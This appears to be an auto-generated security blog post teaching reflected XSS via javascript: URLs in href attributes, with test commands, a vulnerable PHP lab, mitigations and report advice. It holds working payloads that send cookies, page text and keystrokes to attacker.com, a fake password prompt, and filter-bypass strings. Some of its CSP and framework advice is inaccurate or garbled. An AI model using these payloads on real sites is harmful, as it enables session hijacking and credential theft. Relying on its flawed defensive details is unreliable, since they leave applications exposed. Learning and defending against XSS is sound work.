Listen to this Post

Introduction:
Reflected Cross-Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, often triggered through unsanitized user input reflected directly into HTML attributes. A particularly dangerous vector is the javascript: pseudo-protocol, which, when injected into an anchor tag’s href attribute, allows arbitrary script execution within the victim’s browser context—bypassing traditional http:// or https:// scheme validation.
Learning Objectives:
- Identify and exploit Reflected XSS vulnerabilities caused by unvalidated URL parameters in anchor href attributes.
- Execute practical testing techniques using Linux/Windows command-line tools and browser developer consoles.
- Implement robust input validation, output encoding, and Content Security Policy (CSP) measures to mitigate javascript: protocol injection.
You Should Know:
1. Anatomy of the javascript: Pseudo-Protocol XSS
Step‑by‑step guide explaining what this does and how to use it.
The vulnerability arises when an application accepts a user-controlled parameter (e.g., downloadUrl) and directly embeds it into an HTML anchor tag without proper sanitization:
<a href="USER_INPUT">Download</a>
An attacker supplies `javascript:alert(document.cookie)` as the input. The browser, upon clicking the link, executes the JavaScript code instead of navigating to a URL.
How to test for it manually:
– Identify any parameter whose value is reflected inside an `href` attribute.
– Inject `javascript:alert(‘XSS’)` into the parameter and observe if the alert triggers on click.
– For blind testing, use `javascript:console.log(‘xss’)` and check the browser console.
Example vulnerable PHP code:
$url = $_GET['downloadUrl']; echo "<a href='$url'>Download file</a>";
Mitigation in code:
$url = filter_var($_GET['downloadUrl'], FILTER_VALIDATE_URL);
if (!preg_match('/^https?:\/\//', $url)) {
die('Invalid protocol');
}
- Testing for XSS via URL Schemes – Command Line & Tools
Linux (curl): Send a crafted request and inspect the reflected output.
curl -s "http://vulnerable-site.com/page?downloadUrl=javascript:alert(1)" | grep -i "href"
Windows PowerShell: Similar approach with Invoke-WebRequest.
(Invoke-WebRequest -Uri "http://vulnerable-site.com/page?downloadUrl=javascript:alert(1)").Content -match 'href="javascript'
Burp Suite Professional/Community:
– Capture a request containing the parameter.
– Send to Repeater, replace parameter value with javascript:alert(document.domain).
– Click “Render” to visualize or forward to browser.
– Use Intruder with a payload list of XSS fuzzing strings (e.g., SecLists’ XSS payloads).
Browser Developer Tools (F12): After injection, navigate to Console and run:
document.querySelector('a[href^="javascript:"]').click();
This triggers the payload if the link exists.
- Exploitation Techniques – From Alert to Session Hijacking
A simple `alert()` proves existence, but real impact requires chaining.
Session hijacking payload:
javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
Exfiltrating page source or CSRF tokens:
javascript:fetch('https://attacker.com/exfil',{method:'POST',body:document.body.innerText})
Keylogging within the victim page:
javascript:document.onkeypress=e=>fetch('https://attacker.com/k?'+e.key)
Forcing a credential harvester modal:
javascript:prompt('Session expired. Please re-enter password:')
Defense in exploitation: Always ensure your testing is authorized. On self-hosted or bug bounty targets, use benign payloads like `javascript:console.log(‘XSS’)` to avoid unintended data leaks.
4. Mitigation Strategies – Code Hardening & CSP
Input validation (whitelist allowed schemes):
function isValidUrl(url) {
try {
const u = new URL(url);
return ['http:', 'https:'].includes(u.protocol);
} catch(e) { return false; }
}
Output encoding (HTML entity encoding for href context):
In Java (OWASP Java Encoder):
String safeUrl = Encode.forHtmlAttribute(userUrl);
In Python (Django): `{{ url|escape }}` or use `urlencode` filter.
Content Security Policy (CSP) header to block javascript: pseudo-protocol:
Content-Security-Policy: script-src 'self'; navigate-to 'self'; block-all-mixed-content
The directive `script-src ‘unsafe-inline’` is not enough; you must also avoid `unsafe-eval` and ensure `javascript:` URIs are ignored by modern browsers when CSP blocks inline script execution. Add `sandbox allow-same-origin` to further restrict.
Framework-specific guards:
- React: JSX escapes by default, but `dangerouslySetInnerHTML` bypasses – never insert user input into `href` unsafely.
- Angular: Use `DomSanitizer` with `bypassSecurityTrustUrl` only after sanitization.
5. Hands-On Lab: Simulate the Vulnerability Locally
Set up a minimal vulnerable environment to practice detection and exploitation.
Step 1: Create `index.php` (requires PHP server)
<?php $url = isset($_GET['url']) ? $_GET['url'] : 'https://example.com'; ?> <!DOCTYPE html> <html> <body> <a href="<?php echo $url; ?>">Click here (vulnerable)</a> </body> </html>
Step 2: Launch PHP built-in server (Linux/macOS/Windows with PHP in PATH)
php -S 0.0.0.0:8080
Step 3: Test the vulnerability
Visit `http://localhost:8080/index.php?url=javascript:alert(document.cookie)` and click the link.
Step 4: Fix the code using whitelist validation
$allowed = ['https://trusted.com', 'https://cdn.com'];
$url = $_GET['url'] ?? '';
if (!in_array($url, $allowed)) {
$url = 'https://example.com';
}
Windows alternative (no PHP): Use Python HTTP server with a custom HTML file.
echo ^<a href="%url%">click^</a> > test.html python -m http.server 8000
Then visit `http://localhost:8000/test.html?url=javascript:alert(1)` – note that without server-side reflection, you must manually edit the file.
6. Advanced Bypasses & Edge Cases
Even whitelisting http/https can be bypassed with URL trickery.
Unicode / hex encoding in older browsers:
`javascript:%61lert(1)` (IE legacy) – modern browsers normalize, but some WAFs miss variants.
Using data: URI as a fallback:
`data:text/html,` – if the app allows `data:` scheme, an attacker can render arbitrary HTML.
Svg vector with embedded script:
`https://example.com/image.svgjavascript:alert(1)` – some parsers mishandle fragments.
Testing for these:
- Fuzz parameter with
javascript:,jAvAsCrIpT:, `JaVaScRiPt:%0aalert(1)//`
– Check if `\u006A\u0061vascript:` (Unicode escapes) are normalized.
Mitigation against bypasses: Use a library like `is-valid-url` plus scheme whitelist, and never rely solely on blacklisting.
- Bug Bounty Reporting – How to Write a Professional Report
When you find an XSS like the one described in the original post, structure your report for maximum clarity and impact.
Reflected XSS via javascript: Pseudo-Protocol in downloadUrl Parameter
Steps to Reproduce:
- Navigate to `https://target.com/download?downloadUrl=javascript:alert(document.domain)`
2. Click the generated “Download” link.
3. Observe alert box with the domain.
Proof of Concept (PoC) code:
<a href="javascript:fetch('//attacker.com?c='+document.cookie)">PoC</a>
Provide a curl command:
curl -i "https://target.com/page?url=javascript:alert(1)"
Impact: Session hijacking, CSRF token theft, internal network discovery, and complete account takeover if chained.
Remediation Suggestion: Validate URL schemes, encode output, and deploy a strict CSP.
Tools to automate reporting: Use `dalfox` or `XSStrike` to generate detailed outputs.
What Undercode Say:
- Key Takeaway 1: The javascript: pseudo-protocol remains a silent killer in web apps; never trust user input even when placed in “safe” attributes like href. A single missing validation can compromise an entire session.
- Key Takeaway 2: Modern browsers still execute javascript: URIs unless blocked by CSP or explicit scheme validation. Developers must combine whitelist validation with output encoding and security headers—no single control is sufficient.
Prediction:
As more organizations adopt client-side frameworks and hybrid mobile apps, XSS via URL schemes will resurge due to improper handling of deep links and custom protocol handlers. Attackers will increasingly combine javascript: injections with DOM-based vulnerabilities to bypass traditional WAFs. Expect automated scanners to evolve dedicated modules for detecting pseudo-protocol XSS, while bug bounty platforms will raise bounties for such findings as they often lead to full account takeover. The future defense lies in default-deny CSP policies and browser native restrictions like the `javascript:` blocking flag currently trialed in some Chromium builds.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Bro Bone – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


